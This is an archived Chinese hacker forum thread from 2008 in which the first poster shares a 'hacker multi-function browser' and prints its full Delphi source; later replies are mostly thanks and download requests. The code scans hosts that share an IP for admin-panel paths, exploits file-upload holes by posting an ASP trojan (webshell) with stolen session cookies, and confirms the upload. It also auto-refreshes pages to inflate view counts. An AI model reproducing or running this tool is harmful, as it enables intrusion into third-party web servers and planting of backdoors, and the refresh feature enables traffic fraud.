黑客X档案官方论坛's Archiver

小力 发表于 2008-4-26 17:44

黑客多功能浏览器

[color=#ff0000]黑客多功能浏览器,部分[b]代码[/b]参照网络,可以扫描网站后台,可以利用上传漏洞传ASP马,
而且还实现了刷新访问量跟帖子点击率
[/color][color=#ff0000][img]http://bbs.syue.com/images/miba/attachimg.gif[/img][/color] [img]http://bbs.syue.com/attachments/month_0712/20071206_6ed1e062ba6eb47f2503V6MvPzHjPQdZ.jpg[/img] [img]http://bbs.syue.com/images/attachicons/image.gif[/img] [url=http://bbs.syue.com/attachment.php?aid=6075&nothumb=yes][b][color=#0000ff]未命名.JPG[/color][/b][/url] (82.91 KB)
2007-12-6 10:21


[color=red]代码实现:

unit PJMain;

interface

uses
  Windows, Messages, SQLCheckUrlThread, PjMainCode, WinSock, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, TFlatSpeedButtonUnit, UpFileCode, StdCtrls, TFlatEditUnit, ActiveX,
  TFlatSplitterUnit, ComCtrls, OleCtrls, SHDocVw, MSHTML, ShellAPI, Clipbrd, ExtCtrls, AppEvnts,
  Menus, ToolWin, TFlatCheckBoxUnit, ImgList,
  TFlatCheckListBoxUnit, TFlatComboBoxUnit, TFlatMemoUnit,
  TFlatGroupBoxUnit, WinSkinData, Mask, TFlatMaskEditUnit, TFlatButtonUnit;

type
  TPJForm1 = class(TForm)
    Panel1: TPanel;
    PjHost: TFlatEdit;
    Label1: TLabel;
    PjHostToIP: TFlatSpeedButton;
    PjIP: TFlatEdit;
    PjSearch: TFlatSpeedButton;
    Sb1: TStatusBar;
    HostList: TListBox;
    PjWebUrl: TFlatEdit;
    Label2: TLabel;
    Splitter1: TSplitter;
    ApplicationEvents1: TApplicationEvents;
    PJOpenUrl: TFlatSpeedButton;
    Page1: TPageControl;
    TabWeb: TTabSheet;
    TabSheet3: TTabSheet;
    PJWeb: TWebBrowser;
    TabSheet4: TTabSheet;
    TabUpAsp: TTabSheet;
    OKUrl_LV: TListView;
    UrlImageList: TImageList;
    GL_List: TMemo;
    Label4: TLabel;
    AllUrlList: TListBox;
    PopMnuCheckGLYK: TPopupMenu;
    IE1: TMenuItem;
    N2: TMenuItem;
    N1: TMenuItem;
    Panel2: TPanel;
    PJ_urlCheck: TFlatSpeedButton;
    PJ_AllurlCheck: TFlatSpeedButton;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    Up_Submit: TFlatSpeedButton;
    UpOpenUrl: TFlatSpeedButton;
    Up_OpenAspFile: TFlatSpeedButton;
    Up_Url: TFlatEdit;
    Up_Cookies: TMemo;
    Up_FileType: TFlatComboBox;
    Up_PathField: TFlatComboBox;
    Up_FileField: TFlatComboBox;
    Up_FilePath: TFlatComboBox;
    UpFile_ShowMsg: TMemo;
    Up_File: TMemo;
    AspUrl: TFlatEdit;
    AspFile: TFlatEdit;
    SelAspM: TFlatCheckBox;
    UpFileOpenDialog: TOpenDialog;
    N3: TMenuItem;
    N4: TMenuItem;
    ImageList2: TImageList;
    PopupMenu1: TPopupMenu;
    N5: TMenuItem;
    IE2: TMenuItem;
    N6: TMenuItem;
    FlatSpeedButton1: TFlatSpeedButton;
    FlatSpeedButton2: TFlatSpeedButton;
    FlatSpeedButton3: TFlatSpeedButton;
    FlatSpeedButton4: TFlatSpeedButton;
    TabSheet1: TTabSheet;
    FlatGroupBox1: TFlatGroupBox;
    FlatMemo1: TFlatMemo;
    SkinData1: TSkinData;
    Label3: TLabel;
    FlatButton1: TFlatButton;
    Timer1: TTimer;
    FlatButton2: TFlatButton;
    Edit1: TEdit;
    procedure PjHostToIPClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure PjHostChange(Sender: TObject);
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
    procedure PJWebNewWindow2(Sender: TObject; var ppDisp: IDispatch;
      var Cancel: WordBool);
    procedure PJWebNavigateComplete2(Sender: TObject;
      const pDisp: IDispatch; var URL: OleVariant);
    procedure HostListDblClick(Sender: TObject);
    procedure PJWebTitleChange(Sender: TObject; const Text: WideString);
    procedure PjSearchClick(Sender: TObject);
    procedure PJWebStatusTextChange(Sender: TObject;
      const Text: WideString);
    procedure PJOpenUrlClick(Sender: TObject);
    procedure PJ_urlCheckClick(Sender: TObject);
    procedure PJ_AllurlCheckClick(Sender: TObject);
    procedure IE1Click(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure Up_SubmitClick(Sender: TObject);
    procedure UpOpenUrlClick(Sender: TObject);
    procedure Up_OpenAspFileClick(Sender: TObject);
    procedure SelAspMClick(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure PjWebUrlKeyPress(Sender: TObject; var Key: Char);
    procedure FlatSpeedButton1Click(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FlatButton2Click(Sender: TObject);
    procedure HostListClick(Sender: TObject);
  private
    UrlThreadIndex: integer;
    procedure CheckUrlThreadExit(Sender: TObject);
    procedure CheckAllUrlThreadExit(Sender: TObject);
    { Private declarations }
  public
    { Public declarations }
  end;

var
  PJForm1: TPJForm1;
  FormCaption: string;
  AspStr: string;

implementation

{$R *.dfm}

//域名转IP

procedure TPJForm1.PjHostToIPClick(Sender: TObject);
type
  TAddrlist = array[0..30] of PinAddr;
  PAddrList = ^TaddrList;
var
  Host: PHostEnt;
  P: Paddrlist;
begin
  Host := getHostByName(pchar(PjHost.text));
  if host = nil then
  begin
    PjIP.Text := '[出错了]';
    exit;
  end;
  P := paddrlist(host.h_addr_list); //复制内存
  PjIP.text := strpas(inet_ntoa(P[0]^));


  
end;

procedure TPJForm1.FormCreate(Sender: TObject);
var
  Wsadata: Twsadata;
begin
  PJWeb.Navigate(PjHost.Text);
  WSAStartup(Makeword(2, 0), Wsadata); //初始化sock
  AspStr := Up_File.Text; //把默认木马的内容保存下来
  FormCaption := caption; //保存标题


end;


//执行读取域名列表

procedure PjThSearch;
var
  url, HttpStr: string;
  i, st1, end1: integer;
begin
  with PJForm1 do
  begin
    HostList.Items.Clear;
    PjSearch.Enabled := false;


    if PjIP.Text = '' then PjHostToIPClick(nil); //如果没有IP内容,就执行读取IP操作

    if PjIP.Text = '' then
    begin
      PjSearch.Enabled := true;
      application.MessageBox('没有检测到域名的IP!', 'by:六月的雨☆~︶︶ㄣ', MB_OK);
      Sb1.Panels[0].Text := '结束.';
      exit;
    end;

    for i := 1 to 100 do
    begin
      Sb1.Panels[0].Text := '读取和 "' + PjHost.Text + '" 相同IP的[b]虚拟主机[/b],读取第 ' + inttostr(i) + ' 页的内容,请稍候....';

      url := format('http://whois.webhosting.info/%s?pi=%d', [PjIP.Text, i]);

      HttpStr := UrlGetStr(url);

    //如果这个IP没有域名时
      if Q_PosStr('IP Details - N/A.', HttpStr, 1) > 1 then
      begin
        HostList.Items.Add('[无]');
        PjSearch.Enabled := true;
        Sb1.Panels[0].Text := '没找到内容.';
        exit;
      end;



      if Q_PosStr('Enter the security', HttpStr, 1) > 1 then
      begin
        application.MessageBox('要输入附加码才可能使用!', '上传漏洞利用', MB_OK);
        page1.ActivePage := TabWeb;
        PjSearch.Enabled := true;
        pjweb.Navigate(url);
        exit;
      end;

      st1 := 1;
      while true do
      begin
        st1 := Q_PosStr('.">', Httpstr, st1);
        if st1 = 0 then break;
        end1 := Q_PosStr('.</a', Httpstr, st1);
        HostList.Items.Add(copy(httpstr, st1 + 3, end1 - st1 - 3));
        st1 := end1 + 10;
      end;

      if Q_PosStr('">Next', HttpStr, 1) = 0 then
      begin
        Sb1.Panels[0].Text := '读取虚拟主机信息结束,共有 ' + inttostr(HostList.Items.count) + ' 个域名.';
        PjSearch.Enabled := true;
        break;
      end;
    end;

  end;
end;




procedure TPJForm1.PjSearchClick(Sender: TObject);
begin
  ThDo(@PjThSearch);

end;

procedure TPJForm1.PjHostChange(Sender: TObject);
begin
  PjIP.text := '';
end;

procedure TPJForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
const
  StdKeys = [VK_TAB, VK_RETURN]; { standard keys }
  ExtKeys = [VK_DELETE, VK_BACK, VK_LEFT, VK_RIGHT]; { extended keys }
  fExtended = $01000000; { extended key flag }
begin
  Handled := False;
  with Msg do
  try
    if IsChild(PJWeb.Handle, hWnd) then
     { handles all browser related messages }
    begin
      with PJWeb.Application as IOleInPlaceActiveObject do
        Handled := TranslateAccelerator(Msg) = S_OK;
      if not Handled then
      begin
        Handled := True;
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end;

  except

  end;

  if (Msg.message = WM_CLOSE) and (Msg.hwnd = PJWeb.Handle) then
    PeekMessage(Msg, Msg.Hwnd, 0, 0, PM_REMOVE)
  else
    inherited;
end;

procedure TPJForm1.PJWebNewWindow2(Sender: TObject; var ppDisp: IDispatch;
  var Cancel: WordBool);
begin
  Cancel := true;
end;

procedure TPJForm1.PJWebNavigateComplete2(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
begin
  if url <> 'about:blank' then PjWebUrl.Text := URL;
end;

procedure TPJForm1.HostListDblClick(Sender: TObject);
var
  url: string;
begin
  if HostList.SelCount = 0 then exit;
  page1.ActivePage := TabWeb;
  url := 'http://www.' + HostList.Items.Strings[HostList.ItemIndex];
  pjweb.Navigate(url);
end;

procedure TPJForm1.PJWebTitleChange(Sender: TObject; const Text: WideString);
begin
  caption := FormCaption + ' : ' + Text;
end;



procedure TPJForm1.PJWebStatusTextChange(Sender: TObject;
  const Text: WideString);
begin
  if Text <> '完毕' then Sb1.Panels[0].Text := Text;
end;

procedure TPJForm1.PJOpenUrlClick(Sender: TObject);
begin
  pjweb.Navigate(PjWebUrl.Text);
end;

function UrlandPath(Url, path: string): string;
var
  i, L: integer;
  yn: boolean;
begin
  L := length(Url);
  Yn := false;
  for i := L downto 8 do
  begin
    if Url[i] = '/' then
    begin
      Result := copy(Url, 1, i);
      Yn := true;
      break;
    end;
  end;
  if yn = false then Result := Url + '/';
  Result := Result + path;
end;

procedure TPJForm1.PJ_urlCheckClick(Sender: TObject);
var
  i, z, L: integer;
  T_Url, url: string;
  Yn: boolean;
  MyCheckUrlTH: TTHCheckUrl;
  TempStrings: Tstrings;
  Mod_int: integer;
begin
  PJ_urlCheck.Enabled := false; //检测按钮不可使用

  OKUrl_LV.Items.BeginUpdate;
  OKUrl_LV.Items.Clear;
  OKUrl_LV.Items.EndUpdate;

  T_Url := PjWebUrl.Text;

  L := length(T_Url);
  Yn := false;
  for i := L downto 8 do
  begin
    if T_Url[i] = '/' then
    begin
      Url := copy(T_Url, 1, i);
      Yn := true;
      break;
    end;
  end;
  if yn = false then Url := T_url + '/';

  Mod_int := 3;

  TempStrings := TStringList.Create; //创建Tstringlist事例
    //把列表的内容分成小块来处理
  for i := 0 to GL_List.Lines.Count - 1 do
  begin
    TempStrings.Add(Url + GL_List.Lines.Strings[i]);
    z := ((i + 1) mod Mod_int);
    if (z = 0) or (i = GL_List.Lines.Count - 1) then
    begin
      MyCheckUrlTH := TTHCheckUrl.Create(TempStrings, OKUrl_LV.Items);
      MyCheckUrlTH.OnTerminate := CheckUrlThreadExit;
      UrlThreadIndex := UrlThreadIndex + 1; //计算打开的线程数
      TempStrings.Clear;
    end;
  end;

end;

//ID线程退出代码

procedure TPJForm1.CheckUrlThreadExit(Sender: TObject);
begin
  UrlThreadIndex := UrlThreadIndex - 1;
  if UrlThreadIndex = 0 then
  begin
    sb1.Panels[0].Text := '查找管理入口完成!';
    PJ_urlCheck.Enabled := true; //检测按钮可使用
  end;
end;

procedure TPJForm1.PJ_AllurlCheckClick(Sender: TObject);
var
  i, j: integer;
  url: string;
  TempStrings: Tstrings;
  z, Mod_int: integer;
  MyCheckUrlTH: TTHCheckUrl;
begin
  if HostList.Items.Count = 0 then exit;

  AllUrlList.items.Clear;
  OKUrl_LV.Items.Clear;

  PJ_AllurlCheck.Enabled := false;

  //把全部的域名加上指的管理入口的连接加到列表框中
  for i := 0 to HostList.Items.Count - 1 do
  begin
    for j := 0 to GL_List.Lines.Count - 1 do
    begin
      url := 'http://www.' + HostList.Items.Strings[i] + '/' + GL_List.Lines.Strings[j];
      AllUrlList.Items.Add(url);
    end;
  end;

  TempStrings := TStringList.Create; //创建Tstringlist事例

  Mod_int := AllUrlList.items.count div 30;

  if mod_int = 0 then mod_int := 3;

    //把列表的内容分成小块来处理
  for i := 0 to AllUrlList.items.Count - 1 do
  begin
    TempStrings.Add(AllUrlList.Items.Strings[i]);
    z := ((i + 1) mod Mod_int);
    if (z = 0) or (i = AllUrlList.Items.Count - 1) then
    begin
      MyCheckUrlTH := TTHCheckUrl.Create(TempStrings, OKUrl_LV.Items);
      MyCheckUrlTH.OnTerminate := CheckAllUrlThreadExit;
      UrlThreadIndex := UrlThreadIndex + 1; //计算打开的线程数
      TempStrings.Clear;
    end;
  end;
end;

//ID线程退出代码

procedure TPJForm1.CheckAllUrlThreadExit(Sender: TObject);
begin
  UrlThreadIndex := UrlThreadIndex - 1;
  if UrlThreadIndex = 0 then
  begin
    sb1.Panels[0].Text := '查找管理入口完成!';
    PJ_AllurlCheck.Enabled := true; //检测按钮可使用
  end;
end;

procedure TPJForm1.IE1Click(Sender: TObject);
begin
  if OKUrl_LV.Selected = nil then exit;
  ShellExecute(Handle, 'open', 'IEXPLORE.exe', pchar(OKUrl_LV.Selected.Caption), nil, SW_SHOW);

end;

procedure TPJForm1.N1Click(Sender: TObject);
begin
  if OKUrl_LV.Selected = nil then exit;
  Clipboard.AsText := OKUrl_LV.Selected.Caption;
end;


procedure UpAspFile;
var
  FSocket, ErrCode, Re: integer;
  str, str2, Url, HostName, FileName, Cookiestr: string;
  BufSend, BufRecv: pchar;
  Relength: integer;
begin

  with PJForm1 do
  begin
    try
      UpFile_ShowMsg.Lines.Clear;
      Url := Up_Url.Text;
      Up_Submit.Enabled := false; //上传按钮设置为不可用

    //分解连接
      ParseURL(Url, HostName, FileName);

    //提交的内容
      str := Set_PostStr(Up_FilePath.Text, Up_File.Text, Up_PathField.Text, Up_FileField.Text, Up_FileType.Text);

    //把 Cookiestr 的回车符去掉
      Cookiestr := StringReplace(Up_Cookies.Text, #13#10, '', [rfReplaceAll]);

    //Header的填定
      str2 := Set_Postheader(url, length(str), Cookiestr);

    //初始化
      StartNet(HostName, 80, FSocket);

    //发送内容
      SendData(FSocket, str2 + str);

    // 读取主机返回信息
      GetMem(BufRecv, 1024);
    //------------ 重复执行下面代码用于读取主机返回信息 --------
      while true do
      begin
        ZeroMemory(bufRecv, 1024);
        re := recv(FSocket, BufRecv^, 1024, 0); //接收数据
        if re = -1 then begin
          ErrCode := WSAGetLastError;
          case ErrCode of
            10060: UpFile_ShowMsg.Lines.Add(' [ 超时.. ] ');
          else UpFile_ShowMsg.Lines.Add('出错! ' + inttostr(Errcode) + ' 号错误!');
          end;
          break;
        end;
        str := StrPas(bufRecv); //转为 string 类型
        UpFile_ShowMsg.Lines.Add(str);
        if re <> 1024 then break;
      end;
   //----------------------------------------------------------

    finally
      FreeMem(BufRecv); //释放内存[b]空间[/b]
      closesocket(FSocket);
      Up_Submit.Enabled := true; //上传按钮设置为可用

      if CheckUrl(AspUrl.Text) then application.MessageBox('木马上传成功了!', 'by:六月的雨☆~︶︶ㄣ', MB_OK);

    end;
  end;
end;


procedure TPJForm1.Up_SubmitClick(Sender: TObject);
var
  i: integer;
begin
  for i := length(Up_Url.text) downto 5 do
  begin
    if Up_Url.Text[i] = '/' then
    begin
      AspUrl.Text := copy(Up_Url.Text, 1, i) + Up_FilePath.Text;
      break;
    end;
  end;


  thdo(@UpAspFile); //执行上传操作

end;

procedure TPJForm1.UpOpenUrlClick(Sender: TObject);
begin
  if AspUrl.Text = '' then exit;
  ShellExecute(Handle, 'open', 'IEXPLORE.exe', pchar(AspUrl.Text), nil, SW_SHOW);

end;

procedure TPJForm1.Up_OpenAspFileClick(Sender: TObject);
begin
  //打开木马文件
  if UpFileOpenDialog.Execute then
  begin
    AspFile.Text := UpFileOpenDialog.FileName;
    Up_File.Lines.LoadFromFile(AspFile.Text);
  end;
end;

procedure TPJForm1.SelAspMClick(Sender: TObject);
begin
  Up_OpenAspFile.Enabled := SelAspM.Checked;
  AspFile.Enabled := SelAspM.Checked;
  if SelAspM.Checked = false then Up_File.Text := AspStr; //恢复默认木马
end;

procedure TPJForm1.N3Click(Sender: TObject);
begin
  page1.ActivePage := TabUpAsp;
  Up_Url.Text := OKUrl_LV.Selected.Caption;
end;





procedure TPJForm1.PjWebUrlKeyPress(Sender: TObject; var Key: Char);
begin
  if key = #13 then PJOpenUrlClick(Sender);
end;

procedure TPJForm1.FlatSpeedButton1Click(Sender: TObject);
var
  doc, doc1: IHTMLDocument2;
  all: IHTMLElementCollection;
  len, i, j, L: integer;
begin
  doc := pjweb.Document as IHTMLDocument2;
  Up_Cookies.Text := doc.cookie;

// doc.cookie := '11111111111111111111111';

end;

procedure TPJForm1.FlatButton1Click(Sender: TObject);
begin
Timer1.Interval:=strtoint(Edit1.Text)*1000;
Timer1.Enabled:=true;
showmessage('正在刷帖子或访问量的,要重新设定刷新速度先按停止!')

end;

procedure TPJForm1.Timer1Timer(Sender: TObject);
begin
PJWeb.Refresh
end;

procedure TPJForm1.FlatButton2Click(Sender: TObject);
begin
Timer1.Enabled:=false;
end;

procedure TPJForm1.HostListClick(Sender: TObject);
begin

end;

initialization
  OleInitialize(nil);
finalization
  try
    OleUninitialize;
  except
  end;

end.[/color][/i][/i][/i][/i][/i][/i]

foxnice 发表于 2008-4-28 09:26

dddddddddddddddddddddddddddddddd

hackany 发表于 2008-4-28 11:25

没钱了。。::18:: ::18:: 。。。。

日月枫之恋 发表于 2008-4-28 13:06

下了   看图貌似不错哦  呵呵   
::16::

shuer 发表于 2008-4-28 16:36

下一个看一下,写写楼住。谢谢楼主的共享精神

mishell 发表于 2008-4-28 17:39

还有 黑客自己的浏览器  呵呵 真不错

守护神 发表于 2008-4-28 21:16

恩 强烈支持
不过我看不懂
不一定会用

xrmoon 发表于 2008-5-2 21:50

恩。。
看起来不错的说,感谢无私分享哦。。。

心庆 发表于 2008-5-2 22:04

下面那代码是什么啊  太深袄了 看不倒啊~~~~~~~~~~~~

心庆 发表于 2008-5-2 22:23

我要下载啊 555555555没金币我要下载

lcr3037 发表于 2008-5-5 18:44

好东西就要顶....但不会用.......::18::

scare12 发表于 2008-5-12 16:17

那些代码太强了~~~都不知道什么意思~~~

yuheng416 发表于 2008-5-12 23:10

感觉好复杂哦,学习一下

sanpintang008 发表于 2008-5-13 12:38

hao a

下面那代码是什么啊  太深袄了 看不倒啊~~~~~~~~~~~~

刑部专员 发表于 2008-5-13 12:55

这个绝对好东东  偶收藏啦::04:: ::05::

longlongju 发表于 2008-5-13 18:31

下一个。谢谢楼主!下边的代码应该是实现这些功能的代码吧?顶你::04:: ::04:: ::06::

ak264971394 发表于 2008-5-13 19:28

太专业··不会用::18:: ::03:: ::03::

love2105 发表于 2008-5-14 23:02

谢谢LZ分享~::05:: ::05::

twq 发表于 2008-5-15 12:41

好东西!,不过是怎么用的呢?

cH讠na 发表于 2008-5-16 21:41

我要下载啊 555555555没金币我要下载

页: [1] 2 3


Powered by Discuz! 6.1.0  © 2001-2007 Comsenz Inc.